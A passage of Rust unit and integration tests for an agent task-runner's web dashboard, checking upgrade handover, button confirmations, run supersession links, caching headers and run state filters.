22576 std::fs::create_dir_all(&repo).expect("repo dir");
22577 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22578 let home = TempDir::new().expect("temp home");
22579 let talks = Talks::at(home.path().join("talks"));
22580 let ui = Ui::new(
22581 Queue::at(home.path().join("queue")),
22582 Questions::at(home.path().join("questions")),
22583 talks.clone(),
22584 home.path().join("runs"),
22585 home.path().to_path_buf(),
22586 repo.clone(),
22587 )
22588 .with_worktrees_root(home.path().join("wt"));
22589 let cfg = config_for(&repo).await.expect("discover config");
22590 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22591 let id = talk.id.clone();
22592 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22593 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22594 let turns = ui.turns();
22595 let parking = ParkingTurns::begin(&turns);
22596
22597 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22598
22599 assert!(
22600 turns.lock().unwrap().live.is_empty(),
22601 "the slot is given up"
22602 );
22603 let fresh = talks.get(&id).expect("talk");
22604 assert_eq!(fresh.pending, "later", "the draft is still queued");
22605 assert!(fresh.turns.is_empty(), "no turn ran");
22606 drop(parking);
22607 }
22608
22609 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22611 let looping = ui.looping();
22612 let turns = ui.turns();
22613 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22614 .await
22615 .expect("bind loopback");
22616 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22617 let told = std::sync::Mutex::new(None);
22618 hand_over(
22619 home.path(),
22620 &looping,
22621 &turns,
22622 &|_: &[String]| Duration::from_secs(5),
22623 served,
22624 |resume| {
22625 *told.lock().unwrap() = Some(resume);
22626 Ok(1)
22627 },
22628 )
22629 .await
22630 .expect("hand over");
22631 told.into_inner().unwrap().expect("successor was started")
22632 }
22633
22634 #[tokio::test]
22635 async fn a_running_loop_is_resumed_by_the_successor() {
22636 let home = TempDir::new().expect("temp home");
22637 let ui = idle_ui(&home);
22638 ui.start_loop(None).expect("start");
22639 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22640 for _ in 0..500 {
22642 if !ui.loop_view(None).running {
22643 break;
22644 }
22645 tokio::time::sleep(Duration::from_millis(2)).await;
22646 }
22647 assert!(handed_over(&home, ui).await, "a running loop must resume");
22648
22649 let successor = idle_ui(&home);
22650 assert!(!successor.loop_view(None).running);
22651 assert!(successor.resume_after_handover(true));
22652 assert!(successor.loop_view(None).running);
22653 successor.stop_loop(None, false).expect("stop");
22654 }
22655
22656 #[tokio::test]
22657 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22658 let home = TempDir::new().expect("temp home");
22659 let ui = idle_ui(&home);
22660 ui.start_loop(None).expect("start");
22661 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22662 .expect("first park");
22663 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22664 .expect("second park");
22665 assert!(handed_over(&home, ui).await);
22666 }
22667
22668 #[tokio::test]
22669 async fn a_stop_during_the_handover_wait_is_honoured() {
22670 let home = TempDir::new().expect("temp home");
22671 let ui = idle_ui(&home);
22672 ui.start_loop(None).expect("start");
22673 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22674 ui.stop_loop(None, false).expect("stop");
22675 assert!(!handed_over(&home, ui).await);
22676 }
22677
22678 #[tokio::test]
22679 async fn an_idle_loop_stays_stopped_across_the_handover() {
22680 let home = TempDir::new().expect("temp home");
22681 let ui = idle_ui(&home);
22682 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22683 assert!(!handed_over(&home, ui).await);
22684
22685 let successor = idle_ui(&home);
22686 assert!(!successor.resume_after_handover(false));
22687 assert!(!successor.loop_view(None).running);
22688 }
22689
22690 #[tokio::test]
22691 async fn a_loop_the_operator_stopped_is_not_resumed() {
22692 let home = TempDir::new().expect("temp home");
22693 let ui = idle_ui(&home);
22694 ui.start_loop(None).expect("start");
22695 ui.stop_loop(None, false).expect("stop");
22696 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22697 assert!(!handed_over(&home, ui).await);
22698 }
22699
22700 #[test]
22701 fn only_an_explicit_one_requests_a_resume() {
22702 assert!(!resume_requested(None));
22703 assert!(!resume_requested(Some("0".into())));
22704 assert!(!resume_requested(Some("".into())));
22705 assert!(resume_requested(Some("1".into())));
22706 }
22707
22708 #[test]
22709 fn the_upgrade_button_arms_before_it_restarts_anything() {
22710 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22713 assert!(APP_JS.contains("Replace the binary and restart?"));
22714 assert!(APP_JS.contains("function confirmed("));
22715 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22720 assert!(
22724 APP_JS.contains("Parking, then restarting"),
22725 "the button says what it is waiting for"
22726 );
22727 assert!(APP_JS.contains("if (!out.to)"));
22730 }
22731
22732 #[test]
22733 fn stopping_the_loop_arms_but_starting_does_not() {
22734 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22737 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22738 assert!(APP_JS.contains("confirmed(button, question)"));
22739 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22742 assert!(APP_JS.contains("const label = btn.textContent;"));
22743 assert!(!APP_JS.contains("Neither direction is guarded"));
22744 }
22745
22746 #[test]
22747 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22748 assert!(
22749 APP_JS.contains("state.health.version"),
22750 "the operator wants to know what is running even with nothing newer"
22751 );
22752 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22753 }
22754
22755 #[test]
22756 fn the_upgrade_button_names_its_destination() {
22757 assert!(
22758 APP_JS.contains("`Update to ${update.to}`"),
22759 "pressing the button should not be a surprise about what it moves to"
22760 );
22761 }
22762
22763 #[test]
22764 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22765 for stage in ["downloading", "replaced", "parking", "restarting"] {
22766 assert!(
22767 APP_JS.contains(&format!("\"{stage}\"")),
22768 "the phone must be able to tell {stage} apart from the others"
22769 );
22770 }
22771 assert!(APP_JS.contains(".waiting_on"));
22772 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22777 assert!(APP_JS.contains("reconnects on its own"));
22778 }
22779
22780 #[test]
22781 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22782 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22783 ..APP_JS.find("function upgrade(").expect("upgrade")];
22784 assert!(!body.contains(
22785 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22786 ));
22787 assert!(body.contains("renderUpgradeError();"));
22788 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22789 }
22790
22791 #[test]
22792 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22793 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22796 assert!(APP_JS.contains("function upgradeOverdue("));
22797 }
22798
22799 #[test]
22800 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22801 assert!(
22802 APP_JS.contains("Updated to ${upgradeInfo.to"),
22803 "the operator who asked for the restart wants to know it worked"
22804 );
22805 }
22806
22807 #[test]
22808 fn an_error_is_visible_from_where_the_button_is() {
22809 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22814 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22815 assert!(
22816 alert.contains("position: fixed"),
22817 "an error about the thing under your thumb has to be visible from \
22818 where your thumb is: {alert}"
22819 );
22820 assert!(
22821 alert.contains("z-index: 25"),
22822 "above the dock (20) and the run-actions FAB (15), so neither \
22823 buries it: {alert}"
22824 );
22825 assert!(
22826 alert.contains("var(--tap)"),
22827 "and clear of the dock and the home indicator: {alert}"
22828 );
22829 assert!(
22832 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22833 "the FAB's column stays free: {alert}"
22834 );
22835 }
22836
22837 #[tokio::test]
22838 async fn an_older_attempt_says_what_replaced_it() {
22839 let fx = Fixture::start().await;
22840 let q = fx.queue();
22841 let runs = fx.runs();
22842 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22843 write_run(&runs, first, RunStatus::Stalled);
22844 write_run(&runs, second, RunStatus::Blocked);
22845
22846 let mut t = Task::new(
22847 "one task".to_owned(),
22848 "do it".to_owned(),
22849 PathBuf::from("/repo"),
22850 Source::Human,
22851 );
22852 t.runs = vec![first.to_owned(), second.to_owned()];
22853 q.put(&mut t).expect("put");
22854
22855 let rows = fx.get("/api/runs").await.json();
22859 let by = |short: &str| -> Value {
22860 rows.as_array()
22861 .unwrap()
22862 .iter()
22863 .find(|r| r["short"] == short)
22864 .cloned()
22865 .unwrap_or(Value::Null)
22866 };
22867 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22868 assert!(
22869 by("bbbb")["superseded_by"].is_null(),
22870 "the latest attempt is not superseded by anything"
22871 );
22872 assert!(APP_JS.contains("run.superseded_by"));
22874 assert!(APP_JS.contains("Superseded by"));
22875 }
22876
22877 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22878 let mut t = Task::new(
22879 "one task".to_owned(),
22880 "do it".to_owned(),
22881 PathBuf::from("/repo"),
22882 Source::Human,
22883 );
22884 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22885 t.status = status;
22886 t
22887 }
22888
22889 #[test]
22890 fn source_link_picks_the_page_that_filed_the_task() {
22891 let agent = |node: &str| Source::Agent {
22892 run: "20260904-014455-ab12".to_owned(),
22893 node: node.to_owned(),
22894 };
22895 let chat = source_link(&agent("chat")).expect("chat link");
22896 assert_eq!(chat.kind, "chat");
22897 assert_eq!(chat.id, "20260904-014455-ab12");
22898 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22899 let run = source_link(&agent("implement")).expect("run link");
22900 assert_eq!(
22901 (run.kind, run.href.as_str()),
22902 ("run", "#/runs/20260904-014455-ab12")
22903 );
22904 assert_eq!(source_link(&Source::Human), None);
22905 assert_eq!(
22906 source_link(&Source::Issue {
22907 number: 3,
22908 repo: "o/r".to_owned()
22909 }),
22910 None
22911 );
22912 let odd = source_link(&Source::Agent {
22913 run: "a b/c".to_owned(),
22914 node: "chat".to_owned(),
22915 })
22916 .expect("link");
22917 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22918 }
22919
22920 #[test]
22921 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22922 assert!(
22923 !APP_JS.contains("src.node === \"chat\""),
22924 "inline href rule is back"
22925 );
22926 assert!(
22927 APP_JS.matches("sourceLinkOf(").count() >= 4,
22928 "helper must serve every page"
22929 );
22930 assert!(
22931 APP_JS.matches("openChatLink(").count() >= 3,
22932 "the run page still needs its explicit chat link"
22933 );
22934 assert!(
22935 !APP_JS.contains("const openChat = el("),
22936 "the Queue card duplicates its source label link again"
22937 );
22938 assert!(
22939 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22940 "the task page must link a chat source label too"
22941 );
22942 }
22943
22944 #[test]
22945 fn task_ref_carries_the_source_link_for_a_chat_task() {
22946 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22947 t.source = Source::Agent {
22948 run: "20260904-014455-ab12".to_owned(),
22949 node: "chat".to_owned(),
22950 };
22951 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22952 let v = serde_json::to_value(&out).expect("json");
22953 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22954 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22955 assert_eq!(v["source_label"], t.source.label());
22956
22957 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22958 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22959 .expect("json");
22960 assert!(v["source_link"].is_null(), "{v}");
22961 }
22962
22963 #[test]
22964 fn task_view_serializes_source_link() {
22965 let mut t = Task::new(
22966 "t".to_owned(),
22967 "t".to_owned(),
22968 PathBuf::from("/repo"),
22969 Source::Agent {
22970 run: "20260901-000000-aaaa".to_owned(),
22971 node: "implement".to_owned(),
22972 },
22973 );
22974 t.runs.clear();
22975 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22976 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22977 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22978 }
22979
22980 #[test]
22981 fn task_view_serializes_urgent_flag() {
22982 let mut t = Task::new(
22983 "t".to_owned(),
22984 "t".to_owned(),
22985 PathBuf::from("/repo"),
22986 Source::Human,
22987 );
22988 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22989 assert_eq!(v["urgent"], false, "{v}");
22990 t.urgent = true;
22991 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22992 assert_eq!(v["urgent"], true, "{v}");
22993 assert!(APP_JS.contains("task.urgent === true"));
22994 }
22995
22996 #[tokio::test]
22997 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22998 let fx = Fixture::start().await;
22999 let runs = fx.runs();
23000 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23001 write_run(&runs, old, RunStatus::Blocked);
23002 write_run(&runs, new, RunStatus::Merged);
23003 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23004 fx.queue().put(&mut t).expect("put");
23005
23006 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23007 let task = &view["task"];
23008 assert_eq!(task["status"], "done");
23009 assert_eq!(task["is_latest"], false);
23010 assert_eq!(task["latest"]["short"], "bbbb");
23011 assert_eq!(task["finished_by"]["id"], new);
23012 assert_eq!(task["finished_by"]["outcome"], "merged");
23013 assert_eq!(task["closed_by_hand"], false);
23014 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23015 assert!(APP_JS.contains("finished_by"));
23016 assert!(APP_JS.contains("superseded by run"));
23017 }
23018
23019 #[tokio::test]
23020 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23021 let fx = Fixture::start().await;
23022 let runs = fx.runs();
23023 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23024 write_run(&runs, old, RunStatus::Stalled);
23025 write_run(&runs, new, RunStatus::Blocked);
23026 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23027 fx.queue().put(&mut t).expect("put");
23028
23029 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23030 assert_eq!(task["status"], "held");
23031 assert_eq!(task["is_latest"], true);
23032 assert!(task["latest"].is_null());
23033 assert!(task["finished_by"].is_null());
23034 assert_eq!(task["closed_by_hand"], false);
23035 }
23036
23037 #[tokio::test]
23038 async fn a_direct_run_has_no_task_outcome() {
23039 let fx = Fixture::start().await;
23040 let runs = fx.runs();
23041 let id = "20260901-000000-aaaa";
23042 write_run(&runs, id, RunStatus::Blocked);
23043 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23044 assert!(view["task"].is_null());
23045 }
23046
23047 #[test]
23048 fn task_outcome_does_not_guess_a_finishing_run() {
23049 let a = "20260901-000000-aaaa";
23050 let b = "20260901-000000-bbbb";
23051 let c = "20260901-000000-cccc";
23052 let dir = tempfile::tempdir().expect("tempdir");
23053 write_run(dir.path(), a, RunStatus::Blocked);
23054 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23055 let read = |id: &str| read_run(dir.path(), id).ok();
23057 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23060 let out = task_outcome(&t, a, 3, read);
23061 assert!(out.finished_by.is_none());
23062 assert!(out.closed_by_hand);
23063 let latest = out.latest.expect("latest");
23064 assert_eq!(latest.id, c);
23065 assert_eq!(latest.status, None);
23066 assert_eq!(latest.outcome, "record unreadable");
23067
23068 write_run(dir.path(), c, RunStatus::Ready);
23070 let t = outcome_task(&[a, c], TaskStatus::Done);
23071 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23072 assert_eq!(out.finished_by.expect("finisher").id, c);
23073 assert!(!out.closed_by_hand);
23074
23075 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23077 assert!(task_outcome(&t, a, 3, read).is_latest);
23078 }
23079
23080 #[tokio::test]
23081 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23082 let fx = Fixture::start().await;
23087 let q = fx.queue();
23088 let runs = fx.runs();
23089 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23090 write_run(&runs, first, RunStatus::Blocked);
23091 write_run(&runs, second, RunStatus::Merged);
23092
23093 let mut t = Task::new(
23094 "one task".to_owned(),
23095 "do it".to_owned(),
23096 PathBuf::from("/repo"),
23097 Source::Human,
23098 );
23099 t.runs = vec![first.to_owned(), second.to_owned()];
23100 q.put(&mut t).expect("put");
23101
23102 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23103 assert_eq!(earlier["superseded_by"], "dddd");
23104 assert_eq!(earlier["latest_attempt"]["id"], second);
23105 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23106 assert_eq!(
23107 earlier["latest_attempt"]["resolved"], true,
23108 "the run that replaced it landed, so this one reads as settled"
23109 );
23110
23111 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23112 assert!(
23113 later["superseded_by"].is_null(),
23114 "the latest attempt is not superseded by anything"
23115 );
23116 assert!(
23117 later["latest_attempt"].is_null(),
23118 "the latest attempt has no later attempt of its own"
23119 );
23120
23121 assert!(APP_JS.contains("run.latest_attempt"));
23128 assert!(APP_JS.contains("data-superseded"));
23129 assert!(APP_JS.contains("#/runs/${latest.id}"));
23130 }
23131
23132 #[tokio::test]
23133 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23134 let fx = Fixture::start().await;
23140 let q = fx.queue();
23141 let runs = fx.runs();
23142 let (a, b, c) = (
23143 "20260901-000000-aaaa",
23144 "20260901-000000-bbbb",
23145 "20260901-000000-cccc",
23146 );
23147 write_run(&runs, a, RunStatus::Blocked);
23148 write_run(&runs, b, RunStatus::Blocked);
23149 write_run(&runs, c, RunStatus::Merged);
23150
23151 let mut t = Task::new(
23152 "retried twice".to_owned(),
23153 "do it".to_owned(),
23154 PathBuf::from("/repo"),
23155 Source::Human,
23156 );
23157 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23158 q.put(&mut t).expect("put");
23159
23160 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23161 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23162 assert_eq!(
23163 view["latest_attempt"]["id"], c,
23164 "the chain's current head, not the intermediate Blocked retry"
23165 );
23166 assert_eq!(view["latest_attempt"]["resolved"], true);
23167
23168 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23169 assert_eq!(mid["latest_attempt"]["id"], c);
23170 assert_eq!(mid["latest_attempt"]["resolved"], true);
23171 }
23172
23173 #[tokio::test]
23174 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23175 let fx = Fixture::start().await;
23176 let q = fx.queue();
23177 let runs = fx.runs();
23178
23179 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23182 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23183 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23184 let mut t1 = Task::new(
23185 "still stuck".to_owned(),
23186 "do it".to_owned(),
23187 PathBuf::from("/repo"),
23188 Source::Human,
23189 );
23190 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23191 q.put(&mut t1).expect("put");
23192 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23193 assert_eq!(view1["latest_attempt"]["resolved"], false);
23194 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23195 assert_eq!(view1["latest_attempt"]["done"], true);
23196
23197 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23199 write_run(&runs, run_a, RunStatus::Blocked);
23200 write_run(&runs, run_b, RunStatus::Implementing);
23201 let mut t3 = Task::new(
23202 "retrying".to_owned(),
23203 "do it".to_owned(),
23204 PathBuf::from("/repo"),
23205 Source::Human,
23206 );
23207 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23208 q.put(&mut t3).expect("put");
23209 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23210 assert_eq!(view3["latest_attempt"]["id"], run_b);
23211 assert_eq!(view3["latest_attempt"]["resolved"], false);
23212 assert_eq!(view3["latest_attempt"]["done"], false);
23213
23214 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23219 write_run(&runs, noop_a, RunStatus::Blocked);
23220 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23221 let mut t2 = Task::new(
23222 "claims done".to_owned(),
23223 "do it".to_owned(),
23224 PathBuf::from("/repo"),
23225 Source::Human,
23226 );
23227 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23228 q.put(&mut t2).expect("put");
23229 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23230 assert_eq!(
23231 view2["latest_attempt"]["resolved"], false,
23232 "an unverified no-op claim must not read as a confirmed finish"
23233 );
23234
23235 assert!(APP_JS.contains("latest.resolved"));
23238 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23241 assert!(APP_JS.contains("Latest attempt: "));
23242 assert!(APP_JS.contains("in flight"));
23243 assert!(APP_JS.contains("not resolved"));
23244 }
23245
23246 #[tokio::test]
23247 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23248 let fx = Fixture::start().await;
23249 let js = fx.get("/app.js").await;
23255 assert_eq!(js.status, 200);
23256 let tag = js
23257 .header("etag")
23258 .expect("an etag to revalidate against")
23259 .to_owned();
23260 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23261 assert_eq!(
23262 js.header("cache-control"),
23263 Some("no-cache, must-revalidate"),
23264 "the phone has to ask every time"
23265 );
23266
23267 let again = fx
23270 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23271 .await;
23272 assert_eq!(
23273 again.status, 304,
23274 "a deck it already has costs one round trip"
23275 );
23276 assert!(again.body.is_empty(), "304 carries no body");
23277
23278 let weak = fx
23281 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23282 .await;
23283 assert_eq!(weak.status, 304);
23284 let stale = fx
23285 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23286 .await;
23287 assert_eq!(stale.status, 200, "an older build must be replaced");
23288 assert!(stale.body.contains("renderRunActions"));
23289 }
23290
23291 #[test]
23292 fn the_task_detail_has_an_actions_fab_and_sheet() {
23293 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23294 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23295 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23296 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23298 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23299 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23301 assert!(APP_JS.contains("renderTaskActions(null);"));
23302 let sheet = APP_JS
23304 .find("function renderTaskActions")
23305 .expect("sheet renderer");
23306 let body = &APP_JS[sheet..sheet + 3000];
23307 assert!(body.contains("changePriority("));
23308 assert!(body.contains("openTaskEdit(task)"));
23309 assert!(body.contains("renderTaskHoldBox(host"));
23310 assert!(body.contains("renderTaskDoneBox(host"));
23311 assert!(body.contains("renderTaskDeleteBox(host"));
23312 assert!(APP_JS.contains("API.priority(id)"));
23313 assert!(APP_JS.contains("API.deleteTask(id)"));
23314 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23316 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23318 }
23319
23320 #[test]
23321 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23322 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23323 let actions = INDEX_HTML
23324 .find("id=\"run-actions-box\"")
23325 .expect("actions box");
23326 assert!(task < actions, "the task entry comes first in the sheet");
23327 assert!(APP_JS.contains("renderRunTaskEntry"));
23328 assert!(APP_JS.contains("\"Open task \""));
23329 assert!(APP_JS.contains("started directly, no task"));
23331 assert!(APP_JS.contains("sheet-task-link"));
23332 assert!(APP_JS.contains("task-chip-link"));
23333 }
23334
23335 #[test]
23336 fn the_deck_never_sends_the_operator_to_a_terminal() {
23337 assert!(
23340 !APP_JS.contains("Run `magi fold` first"),
23341 "the deck must offer the fold, not prescribe a shell command"
23342 );
23343 assert!(APP_JS.contains("foldRun:"));
23344 assert!(APP_JS.contains("resumeRun:"));
23345 assert!(APP_JS.contains("renderRunActions"));
23346
23347 assert!(APP_JS.contains("armedFold"));
23349 assert!(APP_JS.contains("Yes, fold worktrees"));
23350
23351 assert!(APP_JS.contains("can no longer be resumed"));
23354 }
23355
23356 #[test]
23357 fn a_finished_run_explains_itself_with_its_own_last_line() {
23358 assert!(
23364 !APP_JS.contains("collapsed on agent quota"),
23365 "a stall must not be explained by a cause the deck did not check"
23366 );
23367 assert!(
23368 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23369 "and a block must not offer a guess with an `or` in it"
23370 );
23371
23372 assert!(
23376 APP_JS.contains("setText(r.event, run.event || \"\")"),
23377 "the run's last line is rendered unconditionally"
23378 );
23379 assert!(
23380 !APP_JS.contains("moving && run.event"),
23381 "and never gated on the run still moving"
23382 );
23383
23384 assert!(APP_JS.contains("lost to quota"));
23386 }
23387
23388 #[test]
23410 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23411 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23412 let shapes_body_start =
23413 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23414 let shapes_close = APP_JS[shapes_body_start..]
23415 .find("].map(")
23416 .expect("the shape list is closed by its done-computing .map(...)")
23417 + shapes_body_start;
23418 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23419
23420 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23421 for entry in shapes_src.split('{').skip(1) {
23422 let waiting = entry.contains("waiting: true");
23423 let dead = entry.contains("live: \"dead\"");
23424 let status_at =
23425 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23426 let status_end = entry[status_at..]
23427 .find('"')
23428 .expect("the status string is closed")
23429 + status_at;
23430 let parked = entry.contains("display_status: \"parked\"");
23431 shapes.push((
23432 waiting,
23433 entry[status_at..status_end].to_string(),
23434 dead,
23435 parked,
23436 ));
23437 }
23438 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23439
23440 let done_rule_marker = "done: !";
23444 let done_rule_at = APP_JS[shapes_close..]
23445 .find(done_rule_marker)
23446 .expect("the done rule follows the shape list")
23447 + shapes_close
23448 + done_rule_marker.len();
23449 let includes_at = APP_JS[done_rule_at..]
23450 .find(".includes(shape.status)")
23451 .expect("the done rule ends in .includes(shape.status)")
23452 + done_rule_at;
23453 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23454 .trim()
23455 .trim_start_matches('[')
23456 .trim_end_matches(']')
23457 .split(',')
23458 .map(|s| s.trim().trim_matches('"'))
23459 .filter(|s| !s.is_empty())
23460 .collect();
23461
23462 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23463 .into_iter()
23464 .map(|(waiting, status, dead, parked)| {
23465 let done = !not_done.contains(&status.as_str());
23466 (waiting, status, dead, parked, done)
23467 })
23468 .collect();
23469
23470 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23474 if waiting {
23475 return "waiting";
23476 }
23477 if dead
23478 && !parked
23479 && !matches!(
23480 status,
23481 "merged"
23482 | "ready"
23483 | "stalled"
23484 | "blocked"
23485 | "failed"
23486 | "verified_noop"
23487 | "superseded"
23488 | "already_in_base"
23489 )
23490 {
23491 return "stale";
23492 }
23493 match status {
23494 "merged" | "ready" => "landed",
23495 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23496 | "already_in_base" => "ended",
23497 _ => "flight",
23498 }
23499 }
23500
23501 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23504 match filter_key {
23505 "active" => !done,
23506 "flight" => !done && !waiting && !dead,
23507 "stale" => !done && !waiting && dead,
23508 "waiting" => waiting,
23509 "done" => done,
23510 "all" => true,
23511 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23512 }
23513 }
23514
23515 let compatible = |section: &str, filter_key: &str| {
23516 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23517 run_section(*waiting, status, *dead, *parked) == section
23518 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23519 })
23520 };
23521
23522 let expected = [
23527 ("waiting", [true, false, false, true, true, true]),
23528 ("stale", [true, false, true, false, false, true]),
23529 ("flight", [true, true, false, false, false, true]),
23530 ("landed", [false, false, false, false, true, true]),
23531 ("ended", [false, false, false, false, true, true]),
23532 ];
23533 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23534
23535 for (section, wants) in expected {
23536 for (filter_key, want) in filter_keys.iter().zip(wants) {
23537 assert_eq!(
23538 compatible(section, filter_key),
23539 want,
23540 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23541 );
23542 }
23543 }
23544
23545 assert!(
23548 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23549 );
23550 assert!(APP_JS.contains(
23551 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23552 ));
23553 assert!(APP_JS.contains(
